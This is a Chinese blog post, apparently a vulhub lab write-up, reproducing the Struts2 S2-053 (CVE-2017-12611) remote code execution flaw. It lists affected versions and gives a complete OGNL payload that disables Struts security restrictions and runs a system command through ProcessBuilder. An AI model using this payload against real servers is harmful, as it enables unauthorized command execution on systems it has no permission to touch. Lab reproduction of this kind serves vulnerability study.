Struts2_053_RCE CVE-2017-12611 漏洞复现

最新推荐文章于 2024-09-24 16:23:16 发布

ADummy_

最新推荐文章于 2024-09-24 16:23:16 发布

阅读量735

点赞数

CC 4.0 BY-SA版权

分类专栏： vulhub_Writeup 文章标签：安全漏洞网络安全渗透测试

本文链接：https://blog.csdn.net/weixin_43416469/article/details/113864861

vulhub_Writeup 专栏收录该内容

119 篇文章

订阅专栏

本文详细介绍了Struts2中一个严重的远程代码执行漏洞，该漏洞利用Freemarker模板引擎与OGNL表达式解析的交互，允许攻击者通过精心构造的payload执行任意命令。受影响的版本范围从2.0.1到2.5.10。复现过程包括使用Burp Suite抓包、修改payload并重放以触发代码执行。提供的payload成功在目标环境中执行了命令。参考链接提供了更多关于该漏洞的详细信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Struts2_053_远程代码执行

by ADummy

0x00利用路线

burpuite抓包—>修改payload—>重放包—>代码执行

0x01漏洞介绍

Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成离开一个表达式，被OGNL解析第二次，导致任意命令执行漏洞。

影响版本

	2.0.1 - 2.3.33      2.5 - 2.5.10

0x02漏洞复现

payload1(RCE)：

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{’/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

访问hello.action界面

在这里插入图片描述